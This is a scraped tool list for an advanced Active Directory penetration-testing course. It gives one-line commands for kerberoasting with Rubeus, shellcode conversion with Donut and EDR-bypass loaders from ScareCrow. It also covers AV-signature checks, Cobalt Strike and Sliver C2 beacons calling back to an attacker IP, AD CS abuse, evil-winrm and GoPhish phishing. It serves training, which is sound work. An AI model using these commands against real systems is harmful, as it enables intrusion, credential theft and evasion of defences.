Advanced evasion, custom exploits, AD attacks. Continuation of OSCP.
Official PageSwiss army knife for AD pentesting
pip3 install crackmapexeccme smb 10.10.10.0/24 -u user -p pass -M spider_plusPowerShell AD enumeration toolkit
Import-Module PowerView.ps1Get-DomainUser -SPN; Get-DomainComputer -UnconstrainedKerberos interaction and abuse toolset
Build from source or prebuiltRubeus.exe kerberoast /outfile:hashes.txtConverts .NET/PE to position-independent shellcode
pip3 install donut-shellcodedonut -f 1 -a 2 -o shellcode.bin Rubeus.exeEDR bypass payload framework
git clone https://github.com/optiv/ScareCrowScareCrow -I shellcode.bin -Loader binary -domain microsoft.comIdentifies AV-triggering bytes in binaries
git clone https://github.com/rasta-mouse/ThreatCheck && dotnet buildThreatCheck.exe -f beacon.exe -e DefenderIndustry-standard C2 for adversary simulation
Licensed from HelpSystemsteamserver 10.10.14.x pass profile.c2; connect via clientOpen-source cross-platform C2 framework
go install github.com/BishopFox/sliver/client@latestsliver-server; generate --http 10.10.14.x --os windows -o beacon.exeAD CS certificate abuse tool
Build from sourceCertify.exe find /vulnerableWinRM exploitation shell
gem install evil-winrmevil-winrm -i target -u user -p pass -s /path/to/scriptsPowerShell MSSQL attack toolkit
Import-Module PowerUpSQL.ps1Get-SQLInstanceDomain | Get-SQLServerInfo -VerboseOpen-source phishing framework
go install github.com/gophish/gophish@latest./gophish; manage campaigns at https://localhost:3333